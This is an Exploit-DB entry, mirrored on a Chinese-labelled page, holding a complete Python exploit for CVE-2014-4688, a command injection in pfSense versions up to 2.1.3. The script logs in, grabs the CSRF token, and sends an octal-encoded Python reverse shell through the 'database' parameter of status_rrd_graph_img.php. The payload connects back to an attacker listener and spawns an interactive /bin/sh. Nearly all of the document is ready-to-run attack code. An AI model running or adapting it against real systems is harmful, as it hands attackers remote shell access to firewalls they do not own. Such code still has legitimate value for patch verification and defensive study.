pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection

  • 作者: absolomb
    日期: 2018-01-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43560/
  • #!/usr/bin/env python3
    
    # Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
    # Date: 2018-01-12
    # Exploit Author: absolomb
    # Vendor Homepage: https://www.pfsense.org/
    # Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
    # Version: <=2.1.3
    # Tested on: FreeBSD 8.3-RELEASE-p16
    # CVE : CVE-2014-4688
    
    import argparse
    import requests
    import urllib
    import urllib3
    import collections
    
    '''
    pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
    This script will return a reverse shell on specified listener address and port.
    Ensure you have started a listener to catch the shell before running!
    '''
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--rhost", help = "Remote Host")
    parser.add_argument('--lhost', help = 'Local Host listener')
    parser.add_argument('--lport', help = 'Local Port listener')
    parser.add_argument("--username", help = "pfsense Username")
    parser.add_argument("--password", help = "pfsense Password")
    args = parser.parse_args()
    
    rhost = args.rhost
    lhost = args.lhost
    lport = args.lport
    username = args.username
    password = args.password
    
    
    # command to be converted into octal
    command = """
    python -c 'import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("%s",%s));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'
    """ % (lhost, lport)
    
    
    payload = ""
    
    # encode payload in octal
    for char in command:
    	payload += ("\\" + oct(ord(char)).lstrip("0o"))
    
    login_url = 'https://' + rhost + '/index.php'
    exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"
    
    headers = [
    	('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
    	('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
    	('Accept-Language', 'en-US,en;q=0.5'),
    	('Referer',login_url),
    	('Connection', 'close'),
    	('Upgrade-Insecure-Requests', '1'),
    	('Content-Type', 'application/x-www-form-urlencoded')
    ]
    
    # probably not necessary but did it anyways
    headers = collections.OrderedDict(headers)
    
    # Disable insecure https connection warning
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    client = requests.session()
    
    # try to get the login page and grab the csrf token
    try:
    	login_page = client.get(login_url, verify=False)
    
    	index = login_page.text.find("csrfMagicToken")
    	csrf_token = login_page.text[index:index+128].split('"')[-1]
    
    except:
    	print("Could not connect to host!")
    	exit()
    
    # format login variables and data
    if csrf_token:
    	print("CSRF token obtained")
    	login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
    	login_data = collections.OrderedDict(login_data)
    	encoded_data = urllib.parse.urlencode(login_data)
    
    # POST login request with data, cookies and header
    	login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
    else:
    	print("No CSRF token!")
    	exit()
    
    if login_request.status_code == 200:
    		print("Running exploit...")
    # make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
    		try:
    			exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
    			if exploit_request.status_code:
    				print("Error running exploit")
    		except:
    			print("Exploit completed")